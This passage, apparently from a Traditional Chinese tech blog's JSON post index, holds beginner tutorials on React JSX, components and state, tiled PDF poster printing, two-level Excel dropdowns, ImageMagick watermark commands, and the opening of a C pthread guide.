中的網頁標籤若要指定屬性值，語法跟普通的 HTML 語法類似：\n// JSX 指定屬性值 const element = \u0026lt;div tabIndex=\u0026#34;0\u0026#34;\u0026gt;\u0026lt;/div\u0026gt;; 若要以內嵌的 JavaScript 來指定屬性值，則使用大括號將 JavaScript 的運算式包起來放進去：\n// JSX 內嵌 JavaScript 指定屬性值 const element = \u0026lt;img src={user.avatarUrl}\u0026gt;\u0026lt;/img\u0026gt;; 這裡要注意一點：使用大括號時不可以加上引號。\nJSX 標籤與子節點 JSX 跟 XML 的規則類似，若遇到非成對的標籤，最後要以 /\u0026gt; 結尾。\n// 單一標籤 const element = \u0026lt;img src={user.avatarUrl} /\u0026gt;; JSX 可以像普通網頁一樣，包含多個子節點：\n// 標籤可含有子節點 const element = ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;Good to see you here.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); 預防駭客攻擊 JSX 在內嵌資料時，會自動跳脫（escape）任何特別的字元，所以不用擔心隱碼攻擊（injection attacks）：\n// 使用者輸入資料 const title = response.potentiallyMaliciousInput; // 安全無虞 const element = \u0026lt;h1\u0026gt;{title}\u0026lt;/h1\u0026gt;; JSX 代表物件 JSX 經過 Babel 編譯之後，會轉換為 React.createElement() 這個 JavaScript 的函數，也就是說以下兩段程式碼的效果是相同的：\n// 原始 JSX const element = ( \u0026lt;h1 className=\u0026#34;greeting\u0026#34;\u0026gt; Hello, world! \u0026lt;/h1\u0026gt; ); // JSX 編譯後的 JavaScript const element = React.createElement( \u0026#39;h1\u0026#39;, {className: \u0026#39;greeting\u0026#39;}, \u0026#39;Hello, world!\u0026#39; ); React.createElement() 會進行一些檢查，協助開發者減少錯誤發生的機會，基本上它產生的物件會類似這樣：\n// 簡化的 JSX 物件結構 const element = { type: \u0026#39;h1\u0026#39;, props: { className: \u0026#39;greeting\u0026#39;, children: \u0026#39;Hello, world\u0026#39; } }; 這就是典型的 React 元素，React 就是靠著這些資訊來建立與更新 DOM 的。\n顯示元素 元素（elements）是 React 應用程式中最小的單元，元素中會包含其外觀的描述：\nconst element = \u0026lt;h1\u0026gt;Hello, world\u0026lt;/h1\u0026gt;; React 的元素屬於靜態的物件，所以在建立時非常有效率，而 React 自己會自動維護與瀏覽器 DOM 之間的同步問題。\nReact 的元素（elements）與組件（components ）有些不同，組件是由元素所構成的，後續會有更詳細的介紹。\n在 DOM 中顯示 React 元素 通常在 React 的應用程式中，我們會在網頁上放置一個類似這樣的 HTML 標籤，然後讓 React 的所有元件都顯示在這個標籤之中：\n\u0026lt;div id=\u0026#34;root\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 這樣的 HTML 節點就稱為根節點（root），通常一個應用程式中只有一個根節點，但是如果我們是將 React 整合進既有的程式當中，我們也可以加上任意數量的根節點。\n若要顯示 React 的元素，可以呼叫 ReactDOM.render() 函數，並指定要顯示的 React 元素，以及放置元素的根節點：\nconst element = \u0026lt;h1\u0026gt;Hello, world\u0026lt;/h1\u0026gt;; ReactDOM.render(element, document.getElementById(\u0026#39;root\u0026#39;)); 上面這段程式碼執行之後，就會在網頁上顯示「Hello, world」的字樣。\n更新已顯示的 React 元素 React 的元素是不可變更的（immutable），也就是說當我們建立好一個 React 的元素之後，就不可以更改其屬性或是子節點，它就像是電影中的一幅畫面，代表某個時間點的 UI 狀態。\n以目前我們所學到的技巧來說，如果想要更新 UI，只能重新建立一個 React 元素，然後交給 ReactDOM.render() 再畫一次。\n以下是一個時鐘範例：\n// 更新 UI function tick() { const element = ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {new Date().toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); ReactDOM.render(element, document.getElementById(\u0026#39;root\u0026#39;)); } // 每秒更新一次 setInterval(tick, 1000); 這個範例中，我們每秒呼叫一次 tick() 更新 UI，這樣就可以達到動態時鐘的效果。\n在實務上，大部分的 React 應用程式只會呼叫 ReactDOM.render() 函數一次，配合 React 的狀態功能來更新 UI（後續會介紹）。\n組件與屬性 在概念上來說，React 的組件（components）就像是 JavaScript 的函數，它可以接受任意的輸入（稱為 props，意指屬性），並傳回要顯示於網頁中的 React 元素。\n組件最簡單的定義方式就是使用 JavaScript 的函數：\n// 以 JavaScript 函數定義組件 function Welcome(props) { return \u0026lt;h1\u0026gt;Hello, {props.name}\u0026lt;/h1\u0026gt;; } 這一個 JavaScript 函數是一個有效的 React 組件，它接受單一個 props 參數，並傳回一個 React 元素。\n除了 JavaScript 函數之外，亦可使用 ES6 的 class 定義 React 的組件：\n// 以 ES6 class 定義組件 class Welcome extends React.Component { render() { return \u0026lt;h1\u0026gt;Hello, {this.props.name}\u0026lt;/h1\u0026gt;; } } 以上兩種組件定義方式，對於 React 來說是完全一樣的。\n顯示組件 前面我們只看過標準的 DOM 標籤元素：\n// DOM 標籤元素 const element = \u0026lt;div /\u0026gt;; 事實上在 React 中，我們也可以自行定義新的組件：\n// 自訂組件 const element = \u0026lt;Welcome name=\u0026#34;Sara\u0026#34; /\u0026gt;; 當 React 遇到使用者自行定義新的組件時，它會將 JSX 的所有屬性打包成一個物件，透過 props 傳入該組件。\n以下這個範例會在網頁上產生「Hello, Sara」的字樣：\n// 自訂組件 function Welcome(props) { return \u0026lt;h1\u0026gt;Hello, {props.name}\u0026lt;/h1\u0026gt;; } // 使用自訂組件，並傳入 props 屬性資料 const element = \u0026lt;Welcome name=\u0026#34;Sara\u0026#34; /\u0026gt;; ReactDOM.render( element, document.getElementById(\u0026#39;root\u0026#39;) ); 這裡當 ReactDOM.render() 遇到 Welcome 組件時，就會呼叫 Welcome 函數，並將 JSX 的屬性打包為 {name: 'Sara'}，作為 props 的值傳入，然後在 Welcome 函數中就可以從 props 中獲取該屬性值，產生正確的 React 元素。\nReact 會將所有英文小寫開頭的組件視為 DOM 標籤，例如 \u0026lt;div /\u0026gt;；而若遇到大寫開頭的組件，則視為自訂組件（必須自己定義好），例如 \u0026lt;Welcome /\u0026gt;。\n組合組件 一個組件的輸出中可以包含其他的組件，這種特性讓我們可以將網頁應用程式上各層級的元件統一都以組件的方式來表達。\n以下的範例中，我們建立一個組件，其中包含三個 Welcome 組件：\nfunction Welcome(props) { return \u0026lt;h1\u0026gt;Hello, {props.name}\u0026lt;/h1\u0026gt;; } // 自訂組件，包含其他組件 function App() { return ( \u0026lt;div\u0026gt; \u0026lt;Welcome name=\u0026#34;Sara\u0026#34; /\u0026gt; \u0026lt;Welcome name=\u0026#34;Cahal\u0026#34; /\u0026gt; \u0026lt;Welcome name=\u0026#34;Edite\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; ); } ReactDOM.render( \u0026lt;App /\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); 通常新的 React 應用程式都會從一個最頂端的 \u0026lt;App\u0026gt; 組件開始打造起，但若是將 React 整合進既有的應用程式中，可能就會從最基本的零組件開始著手（例如 \u0026lt;Button\u0026gt;）。\n萃取組件 在使用 React 開發網頁應用程式時，應該進可能將重複的部份獨立出來，寫成組件，可讓程式碼更簡潔。以下是一個簡單的範例：\nfunction Comment(props) { return ( \u0026lt;div className=\u0026#34;Comment\u0026#34;\u0026gt; \u0026lt;div className=\u0026#34;UserInfo\u0026#34;\u0026gt; \u0026lt;img className=\u0026#34;Avatar\u0026#34; src={props.author.avatarUrl} alt={props.author.name} /\u0026gt; \u0026lt;div className=\u0026#34;UserInfo-name\u0026#34;\u0026gt; {props.author.name} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div className=\u0026#34;Comment-text\u0026#34;\u0026gt; {props.text} \u0026lt;/div\u0026gt; \u0026lt;div className=\u0026#34;Comment-date\u0026#34;\u0026gt; {formatDate(props.date)} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ); } 這段程式碼非常冗長，結構也複雜，不容易維護，也不容易重複使用。\n首先將這裡的 Avatar 獨立出來，寫成組件：\nfunction Avatar(props) { return ( \u0026lt;img className=\u0026#34;Avatar\u0026#34; src={props.user.avatarUrl} alt={props.user.name} /\u0026gt; ); } 由於 Avatar 並不一定都顯示在 Comment 當中，所以其人名的屬性以 name 命名，不用 author。\n這樣一來，Comment 就變得簡潔一些了：\nfunction Comment(props) { return ( \u0026lt;div className=\u0026#34;Comment\u0026#34;\u0026gt; \u0026lt;div className=\u0026#34;UserInfo\u0026#34;\u0026gt; \u0026lt;Avatar user={props.author} /\u0026gt; \u0026lt;div className=\u0026#34;UserInfo-name\u0026#34;\u0026gt; {props.author.name} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div className=\u0026#34;Comment-text\u0026#34;\u0026gt; {props.text} \u0026lt;/div\u0026gt; \u0026lt;div className=\u0026#34;Comment-date\u0026#34;\u0026gt; {formatDate(props.date)} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ); } 接著再將 UserInfo 也獨立出來：\nfunction UserInfo(props) { return ( \u0026lt;div className=\u0026#34;UserInfo\u0026#34;\u0026gt; \u0026lt;Avatar user={props.user} /\u0026gt; \u0026lt;div className=\u0026#34;UserInfo-name\u0026#34;\u0026gt; {props.user.name} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ); } 最後完成的 Comment 為：\nfunction Comment(props) { return ( \u0026lt;div className=\u0026#34;Comment\u0026#34;\u0026gt; \u0026lt;UserInfo user={props.author} /\u0026gt; \u0026lt;div className=\u0026#34;Comment-text\u0026#34;\u0026gt; {props.text} \u0026lt;/div\u0026gt; \u0026lt;div className=\u0026#34;Comment-date\u0026#34;\u0026gt; {formatDate(props.date)} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; ); } 萃取元件的大原則有兩個：\n重複出現。 結構複雜。 若程式碼符合上述任一種特性，就可以考慮將其獨立出來，寫成組件。\nProps 是唯讀的 不管是以 JavaScript 函數或是 ES6 class 來定義組件，組件 props 中的值都是不可以更改的。例如：\n// 沒問題 function sum(a, b) { return a + b; } 上面這個範例中，我們使用 a 與 b 來做計算，但是沒有更改 a 與 b 裡面的內容，所以這樣是沒問題的。\n但以下這樣寫，就會出問題：\n// 不可以這樣寫！ function withdraw(account, amount) { account.total -= amount; } 這個 withdraw 函數在執行時，會更改 account.total 內所儲存的數值，這在 React 中是不允許的。\n如果 UI 需要隨時間、使用者的操作等改變其內部的狀態以及顯示的外貌，可以使用接下來要介紹的 state 功能。\nState 與生命週期 在前面介紹過的技巧中，我們只能靠著 ReactDOM.render() 更新畫面：\nfunction tick() { const element = ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {new Date().toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); ReactDOM.render( element, document.getElementById(\u0026#39;root\u0026#39;) ); } setInterval(tick, 1000); 接下來我們將修改這個範例，建立一個 Clock 組件，讓程式碼可以重複使用。\n首先建立一個 Clock 組件，將相關的 UI 獨立出來：\n// 建立 Clock 組件 function Clock(props) { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {props.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); } function tick() { ReactDOM.render( \u0026lt;Clock date={new Date()} /\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); } setInterval(tick, 1000); 獨立出 Clock 之後，我們希望它可以獨立運作，不要讓我們還要定時去更新它，也就是說它最好可以這樣使用：\n// 獨立運作的 Clock 組件 ReactDOM.render( \u0026lt;Clock /\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); 若要達到這樣的功能，我們須在 Clock 中加入一個 state（意指狀態），這個 state 就類似 props 一樣，可包含一些資料，但不同的地方是 state 存在於組件內部（私有的），只受組件本身的控制。\n將函數轉為類別 接下來我們要使用的功能比較複雜一些，所以要以 ES6 class 的方式來定義組件。我們先把前面的 Clock 以 ES6 class 的方式改寫：\n// 以 ES6 class 定義的 Clock 組件 class Clock extends React.Component { render() { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {this.props.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); } } 在類別中加入 State 將原本的 this.props.date 以 this.state.date 取代：\nclass Clock extends React.Component { render() { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {this.state.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); } } 加入類別的建構子（constructor），在建構子中自己設定目前時間，而 props 的值則從父類別繼承：\nclass Clock extends React.Component { // 加入建構子 constructor(props) { super(props); this.state = {date: new Date()}; } render() { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {this.state.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); } } 接著就可以使用這個自動的 Clock 了：\n// 使用自動的 Clock ReactDOM.render( \u0026lt;Clock /\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); 生命週期 在較大型的應用程式中，我們必須注意資源的配給與回收問題，在資源不再被使用時，就需要將其回收。\n目前我們的 Clock 只會自己設置一開始的時間，後續並不會更新。接下來我們要在 Clock 顯示時，加上一個 timer，讓它可以自動持續更新時間，然後在 Clock 被移除時，自動清除 timer，這些動作可以透過類別的掛載（mount）與卸載（unmount）功能來達成。\nclass Clock extends React.Component { constructor(props) { super(props); this.state = {date: new Date()}; } // 掛載函數 componentDidMount() { this.timerID = setInterval( () =\u0026gt; this.tick(), 1000 ); } // 卸載函數 componentWillUnmount() { clearInterval(this.timerID); } tick() { this.setState({ date: new Date() }); } render() { return ( \u0026lt;div\u0026gt; \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt; \u0026lt;h2\u0026gt;It is {this.state.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; ); } } ReactDOM.render( \u0026lt;Clock /\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); 這裡我們靠著掛載函數（componentDidMount）讓 Clock 在顯示後，自動啟動 timer，定時呼叫 tick() 更新 state 的時間，然後藉由卸載函數（componentWillUnmount）在 Clock 要移除前，註銷 timer。\nState 注意事項 關於 state 的使用，有三個重點。\n不可直接更改 State 若要更改 state 裡面的資料，不可以直接更改：\n// 錯誤用法 this.state.comment = \u0026#39;Hello\u0026#39;; 要改用 setState 來設定新的值：\n// 正確用法 this.setState({comment: \u0026#39;Hello\u0026#39;}); 在程式中，唯一可以直接更改 state 的地方就是在建構子之中，除此之外都必須呼叫 setState。\nState 的更新是非同步的 由於 this.props 與 this.state 的更新可能是非同步的，所以不可以直接根據其值來計算：\n// 錯誤用法 this.setState({ counter: this.state.counter + this.props.increment, }); 若需要根據舊的 state 來計算，要改成這樣：\n// 正確用法 this.setState((prevState, props) =\u0026gt; ({ counter: prevState.counter + props.increment })); 這裡我們使用箭頭函數來簡化程式碼，若用傳統的語法則會像這樣：\n// 正確用法 this.setState(function(prevState, props) { return { counter: prevState.counter + props.increment }; }); 更新的 State 值會合併 state 中可以儲存多種資料，我們可以只更新其中一部份，它會自動跟原有的值合併。假設我們的 state 有兩個值：\nconstructor(props) { super(props); this.state = { posts: [], comments: [] }; } 我們可以個別更新這兩個值：\ncomponentDidMount() { fetchPosts().then(response =\u0026gt; { this.setState({ posts: response.posts }); }); fetchComments().then(response =\u0026gt; { this.setState({ comments: response.comments }); }); } 資料向下流動原則 組件的 state 資料只有組件本身可以存取，其餘不管是父組件或是子組件都無法直接得知其內容，因此 state 有區域性以及封裝的特性。\n組件可以將自己的 state 傳遞給子組件：\n\u0026lt;h2\u0026gt;It is {this.state.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt; 自行定義的組件亦可：\n\u0026lt;FormattedDate date={this.state.date} /\u0026gt; 而 FormattedDate 在收到 date 之後，並不會知道該資料是來自於何處。\nfunction FormattedDate(props) { return \u0026lt;h2\u0026gt;It is {props.date.toLocaleTimeString()}.\u0026lt;/h2\u0026gt;; } 組件的 state 資料可以傳遞給其下方的子組件，但是不可以朝其他方向傳遞，React 中的資料都遵守這種向下流動原則。\n參考資料 React 從零開始學 ReactJS Peter Chang ","permalink":"https://blog.gtwang.org/web-development/react-hello-world-tutorial/","summary":"\u003cp\u003e本篇是 React 這套 JavaScript 函式庫的入門教學，介紹如何使用 React 開發互動式的網頁應用程式。\u003c/p\u003e\n\u003cp\u003eReact 是 facebook 官方所維護的開放原始碼 JavaScript 函式庫，可以降低互動式網頁應用程式開發難度，自動處理各種複雜 UI 組件與資料間的連動關係，改善應用程式執行效能。\u003c/p\u003e","title":"React 入門教學與 Hello World 基礎範例"},{"content":"本篇介紹如何分割列印大版面的 PDF 文件，以多張紙拼貼成大海報。\n普通的印表機通常只能列印 A4 或 A3 大小的紙張，如果有大張的海報 PDF 檔想列印的話，可以使用 Adobe Reader 內建的海報列印功能，自動將大圖切割與列印，印下來之後再拼貼成完整的海報。\n在台灣高鐵的網站上可以下載這種到每個停靠站的轉乘資訊，內容詳細、編排精美，不過因為這個 PDF 檔案實在太大張了，直接用 A4 紙縮小印下來的話，是完全看不到裡面的文字的。\n這裡我們以這份台灣高鐵轉乘資訊的 PDF 檔案為範例，示範如何將這種超級大張的 PDF 檔案列印出來。\nStep 1\n首先開啟 Adobe Reader 的列印功能，選擇要使用的印表機。\n如果是第一次使用的話，建議可以先選擇「Microsoft Print to PDF」這個選項進行測試，它可以將列印的結果直接儲存成另外一份 PDF 檔案，若觀察結果都正確的話，再用真正的印表機印出來（畢竟大海報一印出來都很大張，所以確認無誤再印比較保險），這裡我們以列印成 PDF 檔案的方式來示範。\nStep 2\n在「頁面大小調整和處理」的部份，選擇「海報」的處理方式。\nStep 3\n選擇「海報」的處理方式之後，可在左下方的選項中調整相關的選項。\n並排百分比：調整大小比例，如果想要放大列印，可以調高這個數值。 重疊：切割後的每張小圖互相重疊的寬度。 剪裁標記與標籤：可協助辨識裁切與拼貼位置。 調整參數時，可由右方的預覽視窗觀看預覽結果。\nStep 4\n調整好之後，按下「列印」。\nStep 5\n這裡我們示範列印成另外一個 PDF 檔案，所以要選擇輸出的 PDF 檔案名稱。（如果使用真正的印表機的話，這時候就會印出來了）\nStep 6\n列印出來的 PDF 檔案就會像這樣，原本的一大張圖就會被切成好多張 A4 大小的頁面。\nStep 7\n而由於我們有勾選剪裁標記與標籤的功能，所以在分割後的頁面中，會有這樣的剪裁標記與頁面位置標籤，方便我們裁切與拼貼。\n確認這個結果沒問題的話，就可以放心選擇真正的印表機，把整張海報印下來了。\n參考資料 Adobe ","permalink":"https://blog.gtwang.org/windows/pdf-print-tiled-poster-tutorial/","summary":"\u003cp\u003e本篇介紹如何分割列印大版面的 PDF 文件，以多張紙拼貼成大海報。\u003c/p\u003e\n\u003cp\u003e普通的印表機通常只能列印 A4 或 A3 大小的紙張，如果有大張的海報 PDF 檔想列印的話，可以使用 Adobe Reader 內建的海報列印功能，自動將大圖切割與列印，印下來之後再拼貼成完整的海報。\u003c/p\u003e","title":"PDF 大海報分割列印、拼貼方法教學"},{"content":"這裡介紹如何在 Excel 表格中製作兩層以上的下拉式選單，方便使用者快速選擇輸入的資料。\nExcel 的資料驗證功能可以讓我們建立下拉式選單，但是普通的選單只有一層，如果想要讓表格的下拉式選單可以有兩層以上的階層式選擇，就必須配合 Excel 的「名稱」功能，以下是製作兩層下拉式選單的操作步驟。\n兩層下拉式選單 假設我們現在有一個 Excel 檔案如下，左邊橘色的表格要讓使用者輸入資料，類別的欄位可以選擇「水果」、「蔬菜」或「薯芋」，而各種類別中可以選擇的項目則列在右邊的綠色表格中。\n以下我們將使用「名稱」與「資料驗證」的功能，製作兩層的下拉式選單，讓使用者可以更方便輸入這樣的表格資料。\n建立名稱 首先我們要先將每一個類別可用的選項都各自建立成 Excel 的「名稱」。\nStep 1\n選擇其中一個類別所有選項的清單範圍，選擇時要包含標題列。\nStep 2\n選擇「公式」籤頁中的「從選取範圍建立」。\nStep 3\n選擇建立名稱時所用的值，也就是選擇標題列的位置，這裡我們的標題列在最上方，所以勾選「頂端列」。\n按下「確定」之後，就會自動建立一個「名稱」。\nStep 4\n按照上述的方式，將每一個類別都分別建立「名稱」。\nStep 5\n建立好每一個類別的「名稱」之後，點選「名稱管理員」。\nStep 6\n在「名稱管理員」中可以查詢目前所有已經建立的「名稱」。每一個要顯示在第二層下拉式選單中的類別項目都要加進來，這裡先檢查一下是否有錯誤或是遺漏。\n設定資料驗證 在「名稱」建立好之後，接著使用「資料驗證」建立兩層的下拉式選單。\nStep 1\n選擇第一層下拉式選單的作用範圍，也就是要讓使用者選擇類別的儲存格範圍。\nStep 2\n點選「資料」籤頁中的「資料驗證」。\nStep 3\n仿照一般以資料驗證製作下拉式選單的方式，選擇「清單」，並在來源欄位填入三種類別的儲存格範圍。\nStep 4\n接著選擇第二層下拉式選單的作用範圍，也就是要讓使用者選擇各種子項目的儲存格範圍，然後點選「資料驗證」。\nStep 5\n這一步是最重要的關鍵，資料驗證的類型一樣選擇「清單」，但是來源要填入 INDIRECT 的公式：\n=INDIRECT(A2) 其中 INDIRECT 的參數就填入類別欄位的第一格儲存格位置，在這個例子中就是 A2，如果您的表格位置跟這裡不同，就要自己修改一下。\nStep 6\n這樣設定好資料驗證之後，會跳「目前評估為錯誤」的訊息，請直接按下「是」繼續套用資料驗證規則。\nStep 7\n這樣就完成兩階層的下拉式選單了，接著我們就可以先從類別欄位中，以第一層選單選擇類別。\nStep 8\n當類別欄位輸入之後，在項目欄位的第二層選單中，就會自動顯示該類別可用的選項，這樣輸入資料就完全不需要打字，而且也不用擔心輸入錯誤的資料。\n","permalink":"https://blog.gtwang.org/windows/excel-two-levels-drop-down-menu-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Excel 表格中製作兩層以上的下拉式選單，方便使用者快速選擇輸入的資料。\u003c/p\u003e\n\u003cp\u003eExcel 的資料驗證功能可以讓我們\u003ca href=\"/windows/excel-data-validation-drop-down-menu-tutorial/\"\u003e建立下拉式選單\u003c/a\u003e，但是普通的選單只有一層，如果想要讓表格的下拉式選單可以有兩層以上的階層式選擇，就必須配合 Excel 的「名稱」功能，以下是製作兩層下拉式選單的操作步驟。\u003c/p\u003e","title":"Excel 資料驗證與名稱功能，製作兩層下拉式選單教學"},{"content":"這裡介紹如何使用 ImageMagick 撰寫指令稿，自動在圖片上加上文字或圖片的浮水印，標註作者與版權等資訊。\n如果想要把自己拍攝的照片放在網路上展示，但又不想讓人隨意下載回去做其他用途的話，就可以考慮在圖片中加入浮水印、文字標註或自己的 logo，註明版權宣告、攝影者等資訊，避免圖片被濫用。\nImageMagick 是一個功能強大的圖片處理工具，我們可以用它提供的各種指令來撰寫指令稿，自動在大量的照片中加上文字或圖片的浮水印。這裡我們以這張照片作為範例，示範加入各種樣式浮水印的指令用法。\n文字標註與浮水印 要在圖片上標示資訊，最簡的方式就是直接打上文字，以下是在圖片的左下角加入文字的範例：\n# 在左下角加入文字 convert photo.jpg -gravity SouthWest -pointsize 16 -stroke \u0026#39;#000C\u0026#39; -strokewidth 4 -annotate +5+5 \u0026#34;G. T. Wang\u0026#34; -stroke none -fill white -annotate +5+5 \u0026#34;G. T. Wang\u0026#34; output.jpg 這裡的 -pointsize 參數是指定字型的大小，而文字放置的位置可以用 -gravity 參數來指定，可用的值有：NorthWest、North、NorthEast、West、Center、East、SouthWest、South、SouthEast。\n這是加入文字後的結果：\n這是另外一種樣式的文字，會將文字背景設定為半透明的黑色：\n# 在左下角加入文字（黑色半透明背景） convert photo.jpg ( -background \u0026#39;rgba(0, 0, 0, .5)\u0026#39; -fill white -font Helvetica -pointsize 16 label:\u0026#34; G. T. Wang \u0026#34; -splice 5x5 ) -gravity SouthWest -geometry ++ -composite output.jpg 這是有陰影的文字：\n# 在左下角加入有陰影的文字 convert -size 90x20 xc:none -gravity center -pointsize 16 -stroke black -strokewidth 2 -annotate \u0026#39;G. T. Wang\u0026#39; -background none -shadow 100x3++ +repage -stroke none -fill white -annotate \u0026#39;G. T. Wang\u0026#39; photo.jpg +swap -gravity SouthWest -geometry +0-3 -composite output.jpg 這是讓半透明的文字貼滿整張圖片，產生文字浮水印的效果：\n# 文字浮水印 convert -size 240x160 xc:none -fill grey -pointsize 20 -gravity NorthWest -draw \u0026#34;text 20,20 \u0026#39;G. T. Wang\u0026#39;\u0026#34; -gravity SouthEast -draw \u0026#34;text 15,25 \u0026#39;G. T. Wang\u0026#39;\u0026#34; miff:- | composite -tile - photo.jpg output.jpg 圖片浮水印 圖片的浮水印也相當常見，要在照片中加入圖片的浮水印之前，要自己先準備一張浮水印的圖片，這裡我使用 [G. T. Wang 網站的 Logo 圖片][1]作為示範。\n這行指令是直接將 Logo 縮小後，放在照片的右下角：\n# 在右下角加入 80x80 的 Logo composite -gravity SouthEast ( watermark.png -resize 80x80 ) photo.jpg output.jpg 這是將 Logo 變成半透明的：\n# 在右下角加入半透明的 Logo composite -gravity SouthEast ( watermark.png -resize 80x80 ) -dissolve 25 photo.jpg output.jpg 其中 -dissolve 的參數值可以指定明度。執行後的效果如下：\n這是在照片的四個角落都加入不同效果的 Logo：\n# 四個角落都加入不同效果的 Logo convert photo.jpg -gravity NorthEast ( watermark.png -resize 80x80 ) -compose Screen -composite -gravity NorthWest ( watermark.png -resize 80x80 ) -compose Bumpmap -composite -gravity SouthEast ( watermark.png -resize 80x80 ) -compose Multiply -composite -gravity SouthWest ( watermark.png -resize 80x80 ) -compose DarkenIntensity -composite output.jpg 這是大張的圖片浮水印：\n# 大張圖片浮水印 composite ( watermark.png -resize 33% ) photo.jpg -compose Bumpmap -gravity Center output.jpg 彩色半透明的大張圖片浮水印：\n# 彩色大張圖片浮水印 composite ( watermark.png -resize 33% ) photo.jpg -dissolve 25 -gravity Center output.jpg 這是將 Logo 縮小後，拼貼在整張照片上：\n# 拼貼圖片浮水印 composite -dissolve 25 -tile ( watermark.png -resize 10% ) photo.jpg output.jpg 將 Logo 拼貼在整張照片上可以有效防止盜圖，但是這樣放的滿滿的也不太好看。建議的作法是讓拼貼的密度稀疏一點：\n# 圖片浮水印 convert -size 240x220 xc:none -fill white -gravity NorthWest -draw \u0026#34;image Over 40,40,80,80 watermark.png\u0026#34; -gravity NorthWest -draw \u0026#34;image Over 120,120,80,80 watermark.png\u0026#34; miff:- | composite -dissolve 25 -tile - photo.jpg output.jpg 參考資料 ImageMagick Linux Journal The Art of Web ","permalink":"https://blog.gtwang.org/linux/imagemagick-image-watermarking-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 ImageMagick 撰寫指令稿，自動在圖片上加上文字或圖片的浮水印，標註作者與版權等資訊。\u003c/p\u003e\n\u003cp\u003e如果想要把自己拍攝的照片放在網路上展示，但又不想讓人隨意下載回去做其他用途的話，就可以考慮在圖片中加入浮水印、文字標註或自己的 logo，註明版權宣告、攝影者等資訊，避免圖片被濫用。\u003c/p\u003e","title":"ImageMagick 自動在照片上加入文字、圖片浮水印教學與範例指令稿"},{"content":"這裡介紹如何在 C 語言中使用 pthread 開發多執行緒的平行化程式，用多顆 CPU 加速計算。\n現在電腦的 CPU 都具備多顆核心，因此在使用 C 語言撰寫計算用的程式時，若能夠善用多核新的 CPU 進行平行運算，可以讓計算速度大幅提昇。\n若要將 C 語言的程式平行化，最基本的方式就是使用 POSIX 執行緒（簡稱 pthread）來實做多執行緒的程式，以下是 pthread 函式庫的用法教學，以及實際的範例程式碼。\nPthread 多執行緒 pthread 的 pthread_create 函數可以用來建立新的執行緒，並以函數指標指定子執行緒所要執行的函數，子執行緒在建立之後，就會以平行的方式執行，在子執行緒的執行期間，主執行緒還是可以正常執行自己的工作，最後主執行緒再以 pthread_join 函數等待子執行緒執行結束，處理後續收尾的動作。\n以下是一個 pthread 的 hello world 範例程式碼：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; // 子執行緒函數 void* child(void* data) { char *str = (char*) data; // 取得輸入資料 for(int i = 0;i \u0026lt; 3;++i) { printf(\u0026#34;%s\\n\u0026#34;, str); // 每秒輸出文字 sleep(1); } pthread_exit(NULL); // 離開子執行緒 } // 主程式 int main() { pthread_t t; // 宣告 pthread 變數 pthread_create(\u0026amp;t, NULL, child, \u0026#34;Child\u0026#34;); // 建立子執行緒 // 主執行緒工作 for(int i = 0;i \u0026lt; 3;++i) { printf(\u0026#34;Master\\n\u0026#34;); // 每秒輸出文字 sleep(1); } pthread_join(t, NULL); // 等待子執行緒執行完成 return 0; } 此程式在主執行緒中建立一個子執行緒，並將 \u0026quot;Child\u0026quot; 這個字串傳遞給子執行緒，然後讓兩個執行緒同時輸出文字。\n使用 gcc 編譯時，要加上 -lpthread 參數：\ngcc hello.c -lpthread -o hello 編譯好之後，執行之：\n./hello Master Child Master Child Master Child 資料傳遞 在許多的平行化應用程式中，我們都會需要傳遞一些資料給子執行緒進行計算，而在計算完之後再將結果傳回來，而子執行緒在傳回資料時通常都會以 malloc 配置記憶體空間來存放傳回的資料，以下是一個典型的範例：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;pthread.h\u0026gt; // 